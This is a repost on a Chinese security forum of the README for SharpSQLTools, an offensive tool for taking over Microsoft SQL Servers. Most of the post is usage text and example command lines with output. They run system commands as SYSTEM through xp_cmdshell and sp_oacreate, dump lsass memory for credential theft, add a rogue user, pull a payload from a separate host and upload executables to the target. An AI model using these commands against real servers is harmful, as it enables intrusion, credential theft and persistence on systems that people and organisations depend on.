安全矩阵

 找回密码
 立即注册
搜索
查看: 7638|回复: 0

SharpSQLTools-上传下载文件,xp_cmdshell与sp_oacreate双回显和clr...

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-1-20 21:22:08 | 显示全部楼层 |阅读模式
原文链接:SharpSQLTools-上传下载文件,xp_cmdshell与sp_oacreate双回显和clr加载程序集

  1. 简介

  2. 和RcoIl一起写的小工具,可上传下载文件,xpcmdshell与spoacreate双回显和clr加载程序集执行相应操作。功能参考mssqlproxy,由于目前C#还不知如何获取SQL连接的socket,该项目中的mssqlproxy功能目前尚未实现。另外,Clr不适用于一些与线程进程相关的操作。
  3. 编译环境为net 4.0
  4. 吹一波RcoIl ,关注RcoIl跟着大佬学C#!!!
  5. http://github.com/rcoIl
  6. Usage
复制代码
  1. >SharpSQLTools.exe

  2.    _____ _                      _____  ____  _   _______          _
  3.   / ____| |                    / ____|/ __ \| | |__   __|        | |
  4. | (___ | |__   __ _ _ __ _ __| (___ | |  | | |    | | ___   ___ | |___
  5.   \___ \| '_ \ / _` | '__| '_ \\___ \| |  | | |    | |/ _ \ / _ \| / __|
  6.   ____) | | | | (_| | |  | |_) |___) | |__| | |____| | (_) | (_) | \__ \
  7. |_____/|_| |_|\__,_|_|  | .__/_____/ \___\_\______|_|\___/ \___/|_|___/
  8.                          | |
  9.                          |_|
  10.                                                     by Rcoil & Uknow

  11. Usage:

  12. SharpSQLTools target username password                   - interactive console
  13. SharpSQLTools target username password module command    - non-interactive console

  14. Module:

  15. enable_xp_cmdshell         - you know what it means
  16. disable_xp_cmdshell        - you know what it means
  17. xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
  18. sp_oacreate {cmd}          - executes cmd using sp_oacreate
  19. enable_ole                 - you know what it means
  20. disable_ole                - you know what it means
  21. upload {local} {remote}    - upload a local file to a remote path (OLE required)
  22. download {remote} {local}  - download a remote file to a local path
  23. enable_clr                 - you know what it means
  24. disable_clr                - you know what it means
  25. install_clr                - create assembly and procedure
  26. uninstall_clr              - drop clr
  27. clr_dumplsass              - dumplsass by clr
  28. clr_adduser {user} {pass}  - add user by clr
  29. clr_download {url} {path}  - download file from url by clr
  30. exit                       - terminates the server process (and this session)
复制代码

功能介绍
支持交互模式与非交互模式,交互模式直接跟目标,用户名和密码即可。非交互模式直接跟模块与命令。
  1. SharpSQLTools target username password                   - interactive console
  2. SharpSQLTools target username password module command    - non-interactive console
复制代码

xp_cmdshell执行命令
  1. λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX xp_cmdshell whoami
  2. [*] Database connection is successful!

  3. nt authority\system
复制代码

sp_oacreate执行命令
  1. λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX sp_oacreate whoami
  2. [*] Database connection is successful!
  3. [+] c:\windows\system32\cmd.exe /c whoami > C:\Users\Public\Downloads\1611131759069.txt
  4. [+] Reading C:\Users\Public\Downloads\1611131759069.txt

  5. nt authority\system

  6. [+] Deleting C:\Users\Public\Downloads\1611131759069.txt
复制代码

clr_dumplsass
  1. λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX clr_dumplsass
  2. [*] Database connection is successful!

  3. [*] Dumping lsass (488) to C:\Windows\Temp\debug488.out
  4. [+] Dump successful!

  5. [*] Compressing C:\Windows\Temp\debug488.out to C:\Windows\Temp\debug488.bin gzip file
  6. [X] Output file 'C:\Windows\Temp\debug488.bin' already exists, removing
  7. [*] Deleting C:\Windows\Temp\debug488.out

  8. [+] Dumping completed. Rename file to "debug488.gz" to decompress.

  9. [*] Operating System : Windows Server 2008 R2 Standard
  10. [*] Architecture     : AMD64
  11. [*] Use "sekurlsa::minidump debug.out" "sekurlsa::logonPasswords full" on the same OS/arch
复制代码

clr_adduser
  1. λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX clr_adduser test1234 1qaz@WSX
  2. [*] Database connection is successful!
  3. [*] Adding User success
  4. [*] Adding Group Member success
复制代码

clr_download
  1. λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX clr_download "http://192.168.28.185:8001/clac.bin" "c:\Users\Public\Downloads\test.bin"
  2. [*] Database connection is successful!
  3. [*] Download success
复制代码

upload
  1. λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX upload C:\Users\Pentest\Desktop\test\usc.exe c:\Users\Public\Downloads\11.exe
  2. [*] Database connection is successful!
  3. [*] Uploading 'C:\Users\Pentest\Desktop\test\usc.exe' to 'c:\Users\Public\Downloads\11.exe'...
  4. [+] 7-1 Upload completed
  5. [+] 7-2 Upload completed
  6. [+] 7-3 Upload completed
  7. [+] 7-4 Upload completed
  8. [+] 7-5 Upload completed
  9. [+] 7-6 Upload completed
  10. [+] 7-7 Upload completed
  11. [+] copy /b c:\Users\Public\Downloads\11.exe_x.config_txt c:\Users\Public\Downloads\11.exe
  12. [+] del c:\Users\Public\Downloads\*.config_txt
  13. [*] 'C:\Users\Pentest\Desktop\test\usc.exe' Upload completed
复制代码

download
  1. λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX download c:\Users\Public\Downloads\t.txt C:\Users\Pentest\Desktop\test\t.txt
  2. [*] Database connection is successful!
  3. [*] Downloading 'c:\Users\Public\Downloads\t.txt' to 'C:\Users\Pentest\Desktop\test\t.txt'...
  4. [*] 'c:\Users\Public\Downloads\t.txt' Download completed
复制代码

Github
https://github.com/uknowsec/SharpSQLTools
References
https://github.com/blackarrowsec/mssqlproxy






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 16:02 , Processed in 0.012947 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表